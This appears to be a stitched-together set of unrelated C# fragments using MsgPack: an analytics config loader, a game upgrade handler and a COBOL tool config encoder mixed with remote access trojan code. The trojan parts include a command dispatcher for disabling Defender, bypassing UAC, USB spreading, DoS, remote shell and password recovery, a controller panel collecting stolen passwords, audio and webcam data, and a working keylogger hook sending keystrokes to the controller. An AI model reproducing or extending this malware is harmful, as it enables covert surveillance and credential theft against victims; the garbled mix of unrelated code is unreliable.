await unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString));
if (SD != null)
{
SD.Close();
}
}
}
catch { }
}));
}
break;
}
}
}
catch { }
}
private void LoadConfig()
{
if (this._debug)
{
Debug.Log("[RUM] load config...");
}
long salt = this.GenSalt();
IDictionary <string, object> payload = new Dictionary <string, object>();
payload.Add("pid", this._pid);
payload.Add("sign", this.GenSign(salt));
payload.Add("salt", salt);
payload.Add("uid", this._uid);
payload.Add("rid", this._rumEvent.GetRumId());
payload.Add("lang", RUMPlatform.Instance.GetLang());
payload.Add("manu", RUMPlatform.Instance.GetManu());
payload.Add("model", RUMPlatform.Instance.GetModel());
payload.Add("os", RUMPlatform.Instance.GetOS());
payload.Add("osv", RUMPlatform.Instance.GetOSV());
payload.Add("nw", RUMPlatform.Instance.GetNetwork());
payload.Add("carrier", RUMPlatform.Instance.GetCarrier());
payload.Add("from", RUMPlatform.Instance.GetFrom());
payload.Add("appv", this._appv);
MemoryStream outputStream = new MemoryStream();
MsgPack.Serialize(payload, outputStream);
outputStream.Position = 0;
byte[] bytes = outputStream.ToArray();
FPData data = new FPData();
data.SetFlag(0x1);
data.SetMtype(0x1);
data.SetMethod("getconfig");
data.SetPayload(bytes);
RUMClient self = this;
this.SendQuest(data, (cbd) => {
Exception ex = cbd.GetException();
if (ex != null)
{
self._configVersion = 0;
self.GetEvent().FireEvent(new EventData("error", ex));
return;
}
IDictionary <string, object> dict = (IDictionary <string, object>)cbd.GetPayload();
if (self._debug)
{
Debug.Log("[RUM] load config: " + Json.SerializeToString(dict));
}
self._rumEvent.UpdateConfig((IDictionary <string, object>)dict["events"]);
}, RUMConfig.SENT_TIMEOUT);
}
public void SetState(byte[] encodedState)
{
State.Set(MsgPack.Deserialize <IndexedDictionary <string, object> > (new MemoryStream(encodedState)));
previousState = encodedState;
}
public static void Read(Clients Client, byte[] Data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "ClientInfo":
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
Client.LV = new ListViewItem();
Client.LV.Tag = Client;
Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]);
string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
Client.LV.SubItems.Add(ipinf[1]);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString;
Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
Program.form1.listView1.Items.Insert(0, Client.LV);
lock (Settings.Online)
Settings.Online.Add(Client);
}));
}
break;
case "Ping":
{
Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
}
break;
case "Received":
{
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
Client.LV.ForeColor = Color.Empty;
}));
}
}
break;
case "remoteDesktop":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID];
try
{
if (RD != null && RD.Active == true)
{
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
{
RD.pictureBox1.Image = (Bitmap)decoded;
RD.RenderSW = Stopwatch.StartNew();
}
RD.FPS++;
if (RD.sw.ElapsedMilliseconds >= 1000)
{
RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length);
RD.FPS = 0;
RD.sw = Stopwatch.StartNew();
}
}
else
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "false";
Client.BeginSend(msgpack.Encode2Bytes());
}
}
catch (Exception ex) { Debug.WriteLine(ex.Message); }
}));
}
}
break;
case "processManager":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID];
if (PM != null)
{
PM.listView1.Items.Clear();
string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString;
string data = AllProcess.ToString();
string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None);
for (int i = 0; i < _NextProc.Length; i++)
{
if (_NextProc[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = Path.GetFileName(_NextProc[i]);
lv.SubItems.Add(_NextProc[i + 1]);
lv.ToolTipText = _NextProc[i];
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
PM.imageList1.Images.Add(_NextProc[i + 1], im);
lv.ImageKey = _NextProc[i + 1];
PM.listView1.Items.Add(lv);
}
i += 2;
}
}
}));
}
}
break;
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
private void HandOutMsg(MsgPack pack)
{
switch ((CMD)pack.msg.cmd)
{
}
}
public void AddToListview(Clients client, MsgPack unpack_msgpack)
{
try
{
lock (Settings.LockBlocked)
{
try
{
if (Settings.Blocked.Count > 0)
{
if (Settings.Blocked.Contains(unpack_msgpack.ForcePathObject("HWID").AsString))
{
client.Disconnected();
return;
}
else if (Settings.Blocked.Contains(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]))
{
client.Disconnected();
return;
}
}
}
catch { }
}
client.LV = new ListViewItem
{
Tag = client,
Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]),
};
string[] ipinf;
try
{
ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
client.LV.SubItems.Add(ipinf[1]);
try
{
client.LV.ImageKey = ipinf[2] + ".png";
}
catch { }
}
catch
{
client.LV.SubItems.Add("??");
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
try
{
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Installed").AsString).ToLocalTime().ToString());
}
catch
{
try
{
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Installed").AsString);
}
catch
{
client.LV.SubItems.Add("??");
}
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
client.LV.SubItems.Add("0000 MS");
try
{
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"));
}
catch
{
client.LV.SubItems.Add("??");
}
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
client.LV.UseItemStyleForSubItems = false;
Program.form1.Invoke((MethodInvoker)(() =>
{
lock (Settings.LockListviewClients)
{
Program.form1.listView1.Items.Add(client.LV);
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
}
if (Properties.Settings.Default.Notification == true)
{
Program.form1.notifyIcon1.BalloonTipText = $@"Connected
{client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
Program.form1.notifyIcon1.ShowBalloonTip(100);
}
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected", Color.Green);
}));
}
catch { }
}
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "sendMessage":
{
MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
break;
}
case "Ping":
{
Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
break;
}
case "thumbnails":
{
new HandleGetScreenShot();
break;
}
case "sendFile":
{
Received();
new HandleSendTo().SendToDisk(unpack_msgpack);
break;
}
case "sendMemory":
{
Received();
new HandleSendTo().SendToMemory(unpack_msgpack);
break;
}
case "recoveryPassword":
{
Received();
new HandlerRecovery(unpack_msgpack);
break;
}
case "defender":
{
new HandleWindowsDefender();
break;
}
case "uac":
{
new HandleUAC();
break;
}
case "close":
{
try
{
ClientSocket.Client.Shutdown(SocketShutdown.Both);
ClientSocket.Client.Dispose();
}
catch { }
Environment.Exit(0);
break;
}
case "restart":
{
try
{
ClientSocket.Client.Shutdown(SocketShutdown.Both);
ClientSocket.Client.Dispose();
}
catch { }
Process.Start(Application.ExecutablePath);
Environment.Exit(0);
break;
}
case "uninstall":
{
new HandleUninstall();
break;
}
case "usbSpread":
{
HandleLimeUSB limeUSB = new HandleLimeUSB();
limeUSB.Run();
break;
}
case "remoteDesktop":
{
HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop();
remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
break;
}
case "processManager":
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "List":
{
new HandleProcessManager().ProcessList();
break;
}
case "Kill":
{
new HandleProcessManager().ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
break;
}
}
}
break;
case "fileManager":
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "getDrivers":
{
FileManager fileManager = new FileManager();
fileManager.GetDrivers();
break;
}
case "getPath":
{
FileManager fileManager = new FileManager();
fileManager.GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
break;
}
case "uploadFile":
{
string fullPath = unpack_msgpack.ForcePathObject("Name").AsString;
if (File.Exists(fullPath))
{
File.Delete(fullPath);
Thread.Sleep(500);
}
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
break;
}
case "reqUploadFile":
{
FileManager fileManager = new FileManager();
fileManager.ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString);
break;
}
case "deleteFile":
{
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
File.Delete(fullPath);
break;
}
case "execute":
{
string fullPath = unpack_msgpack.ForcePathObject("File").AsString;
Process.Start(fullPath);
break;
}
}
}
break;
case "socketDownload":
{
FileManager fileManager = new FileManager();
string file = unpack_msgpack.ForcePathObject("File").AsString;
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
fileManager.DownnloadFile(file, dwid);
break;
}
case "botKiller":
{
HandleBotKiller botKiller = new HandleBotKiller();
botKiller.RunBotKiller();
break;
}
case "keyLogger":
{
FileManager fileManager = new FileManager();
string isON = unpack_msgpack.ForcePathObject("isON").AsString;
if (isON == "true")
{
new Thread(() =>
{
HandleLimeLogger.isON = true;
HandleLimeLogger.Run();
}).Start();
}
else
{
HandleLimeLogger.isON = false;
}
break;
}
case "visitURL":
{
string url = unpack_msgpack.ForcePathObject("URL").AsString;
if (url.StartsWith("http"))
{
Process.Start(url);
}
break;
}
case "dos":
{
switch (unpack_msgpack.ForcePathObject("Option").AsString)
{
case "postStart":
{
HandleDos handleDos = new HandleDos();
cts = new CancellationTokenSource();
handleDos.DosPost(unpack_msgpack);
break;
}
case "postStop":
{
cts.Cancel();
break;
}
}
break;
}
case "shell":
{
HandleShell.StarShell();
break;
}
case "shellWriteInput":
{
if (HandleShell.ProcessShell != null)
{
HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString);
}
break;
}
case "chat":
{
new HandlerChat().CreateChat();
break;
}
case "chatWriteInput":
{
new HandlerChat().WriteInput(unpack_msgpack);
break;
}
case "chatExit":
{
new HandlerChat().ExitChat();
break;
}
}
}
catch { }
}
public byte[] Serialize(T data)
{
msgpack = new MsgPack();
Encode(data);
return(msgpack.Encode2Bytes());
}
public void Read(object o)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(data);
Program.form1.Invoke((MethodInvoker)(() =>
{
switch (unpack_msgpack.ForcePathObject("Pac_ket").AsString)
{
case "ClientInfo":
{
ThreadPool.QueueUserWorkItem(delegate {
new HandleListView().AddToListview(client, unpack_msgpack);
});
break;
}
case "Ping":
{
new HandlePing().Ping(client, unpack_msgpack);
break;
}
case "Po_ng":
{
new HandlePing().Po_ng(client, unpack_msgpack);
break;
}
case "Logs":
{
new HandleLogs().Addmsg($"From {client.Ip} client: {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black);
break;
}
case "thumbnails":
{
client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
new HandleThumbnails(client, unpack_msgpack);
break;
}
case "Received":
{
new HandleListView().Received(client);
break;
}
case "Error":
{
new HandleLogs().Addmsg($"Erroe from {client.Ip} client: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red);
/*lock (Settings.LockListviewClients)
* {
* client.LV.ForeColor = Color.Empty;
* }*/
break;
}
case "remoteDesktop":
{
new HandleRemoteDesktop().Capture(client, unpack_msgpack);
break;
}
case "processManager":
{
new HandleProcessManager().GetProcess(client, unpack_msgpack);
break;
}
case "socketDownload":
{
new HandleFileManager().SocketDownload(client, unpack_msgpack);
break;
}
case "keyLogger":
{
new HandleKeylogger(client, unpack_msgpack);
break;
}
case "fileManager":
{
new HandleFileManager().FileManager(client, unpack_msgpack);
break;
}
case "shell":
{
new HandleShell(unpack_msgpack, client);
break;
}
case "chat":
{
new HandleChat().Read(unpack_msgpack, client);
break;
}
case "chat-":
{
new HandleChat().GetClient(unpack_msgpack, client);
break;
}
case "reportWindow":
{
new HandleReportWindow(client, unpack_msgpack.ForcePathObject("Report").AsString);
break;
}
case "reportWindow-":
{
if (Settings.ReportWindow == false)
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Pac_ket").AsString = "reportWindow";
packet.ForcePathObject("Option").AsString = "stop";
ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes());
return;
}
lock (Settings.LockReportWindowClients)
Settings.ReportWindowClients.Add(client);
break;
}
case "webcam":
{
new HandleWebcam(unpack_msgpack, client);
break;
}
case "dosAdd":
{
new HandleDos().Add(client, unpack_msgpack);
break;
}
case "sendPlugin":
{
new HandleLogs().Addmsg($"Sending plugun to {client.Ip} ……", Color.Blue);
ThreadPool.QueueUserWorkItem(delegate {
client.SendPlugin(unpack_msgpack.ForcePathObject("Hashes").AsString);
});
break;
}
case "fileSearcher":
{
new HandlerFileSearcher().SaveZipFile(client, unpack_msgpack);
break;
}
case "Information":
{
new HandleInformation().AddToInformationList(client, unpack_msgpack);
break;
}
case "Password":
{
new HandlePassword().SavePassword(client, unpack_msgpack);
break;
}
case "Audio":
{
new HandleAudio().SaveAudio(client, unpack_msgpack);
break;
}
case "recoveryPassword":
{
new HandleRecovery(client, unpack_msgpack);
break;
}
}
}));
}
catch
{
return;
}
}
public T Deserialize(Stream input)
{
msgpack = new MsgPack();
msgpack.DecodeFromStream(input);
return(Decode());
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
try
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
bool CapsLock = (((ushort)GetKeyState(0x14)) & 0xffff) != 0;
string currentKey = KeyboardLayout((uint)vkCode);
if (CapsLock)
{
currentKey = KeyboardLayout((uint)vkCode).ToUpper();
}
else
{
currentKey = KeyboardLayout((uint)vkCode).ToLower();
}
if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
{
currentKey = "[" + (Keys)vkCode + "]";
}
else
{
switch (((Keys)vkCode).ToString())
{
case "Space":
currentKey = " ";
break;
case "Return":
currentKey = "[ENTER]\n";
break;
case "Escape":
currentKey = "[ESC]\n";
break;
case "LControlKey":
currentKey = "[CTRL]";
break;
case "RControlKey":
currentKey = "[CTRL]";
break;
case "RShiftKey":
currentKey = "[Shift]";
break;
case "LShiftKey":
currentKey = "[Shift]";
break;
case "Back":
currentKey = "[Back]";
break;
case "LWin":
currentKey = "[WIN]";
break;
case "Tab":
currentKey = "[Tab]\n";
break;
}
}
StringBuilder sb = new StringBuilder();
if (CurrentActiveWindowTitle == GetActiveWindowTitle())
{
sb.Append(currentKey);
}
else
{
sb.Append(Environment.NewLine);
sb.Append(Environment.NewLine);
sb.Append($"### {GetActiveWindowTitle()} ###");
sb.Append(Environment.NewLine);
sb.Append(currentKey);
}
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("log").AsString = sb.ToString();
ClientSocket.Send(msgpack.Encode2Bytes());
}
return(CallNextHookEx(_hookID, nCode, wParam, lParam));
}
catch
{
return(IntPtr.Zero);
}
}
public T Deserialize(byte[] input)
{
msgpack = new MsgPack();
msgpack.DecodeFromBytes(input);
return(Decode());
}
public void ReqStrong(MsgPack pack)
{
ReqStrong data = pack.Msg.reqStrong;
GameMsg msg = new GameMsg()
{
cmd = (int)CMD.RspStrong
};
PlayerData pd = cacheSvc.GetPlayerDataBySession(pack.Session);
int currentStarLv = pd.strongArr[data.pos];
StrongCfg nextStrongCfg = CfgSvc.Instance.GetStrongCfg(data.pos, currentStarLv + 1);
//条件判断
if (pd.lv < nextStrongCfg.minLv)
{
msg.err = (int)ErrorCode.LackLevel;
}
else if (pd.coin < nextStrongCfg.coin)
{
msg.err = (int)ErrorCode.LackCoin;
}
else if (pd.crystal < nextStrongCfg.crystal)
{
msg.err = (int)ErrorCode.LackCrystal;
}
else
{
//任务进度数据更新
TaskSys.Instance.CalcTaskPrgs(pd, 3);
//资源扣除
pd.coin -= nextStrongCfg.coin;
pd.crystal -= nextStrongCfg.crystal;
//星级+1
pd.strongArr[data.pos] += 1;
//增加属性
pd.hp += nextStrongCfg.addhp;
pd.ad += nextStrongCfg.addhurt;
pd.ap += nextStrongCfg.addhurt;
pd.addef += nextStrongCfg.adddef;
pd.apdef += nextStrongCfg.adddef;
}
//更新数据库
if (!cacheSvc.UpdatePlayerData(pd.id, pd))
{
msg.err = (int)ErrorCode.UpdateDBError;
}
else
{
msg.rspStrong = new RspStrong()
{
coin = pd.coin,
crystal = pd.crystal,
hp = pd.hp,
ad = pd.ad,
ap = pd.ap,
addef = pd.addef,
apdef = pd.apdef,
strongArr = pd.strongArr
};
}
pack.Session.SendMsg(msg);
}
internal static void Encode(MsgPack msgpack, TypeCobolConfiguration data)
{
msgpack.ForcePathObject("ErrorFile").AsString = string.IsNullOrEmpty(data.ErrorFile)?string.Empty:data.ErrorFile;
msgpack.ForcePathObject("skeletonPath").AsString = string.IsNullOrEmpty(data.skeletonPath) ? string.Empty : data.skeletonPath;
msgpack.ForcePathObject("ExecToStep").AsString = data.ExecToStep.ToString();
msgpack.ForcePathObject("EncFormat").AsString = string.IsNullOrEmpty(data.EncFormat) ? string.Empty : data.EncFormat;
msgpack.ForcePathObject("HaltOnMissingCopyFilePath").AsString = string.IsNullOrEmpty(data.HaltOnMissingCopyFilePath) ? string.Empty : data.HaltOnMissingCopyFilePath;
msgpack.ForcePathObject("AutoRmarks").AsString = Convert.ToString(data.AutoRemarks);
msgpack.ForcePathObject("Telemetry").AsString = Convert.ToString(data.Telemetry);
MsgPack item;
item = msgpack.ForcePathObject("InputFiles");
if (data.InputFiles != null && data.InputFiles.Count > 0)
{
foreach (string inputFile in data.InputFiles)
{
var child = item.AddArrayChild();
child.ForcePathObject("InputFile").AsString = inputFile;
}
}
item = msgpack.ForcePathObject("OutputFiles");
if (data.OutputFiles != null && data.OutputFiles.Count > 0)
{
foreach (string outputFile in data.OutputFiles)
{
var child = item.AddArrayChild();
child.ForcePathObject("OutputFile").AsString = outputFile;
}
}
item = msgpack.ForcePathObject("CopyFolders");
if (data.CopyFolders != null && data.CopyFolders.Count > 0)
{
foreach (string copyFolder in data.CopyFolders)
{
var child = item.AddArrayChild();
child.ForcePathObject("CopyFolder").AsString = copyFolder;
}
}
item = msgpack.ForcePathObject("Copies");
if (data.Copies != null && data.Copies.Count > 0)
{
foreach (string copy in data.Copies)
{
var child = item.AddArrayChild();
child.ForcePathObject("Copy").AsString = copy;
}
}
item = msgpack.ForcePathObject("Dependencies");
if (data.Dependencies != null)
{
foreach (string dependecy in data.Dependencies)
{
var child = item.AddArrayChild();
child.ForcePathObject("Dependency").AsString = dependecy;
}
}
}
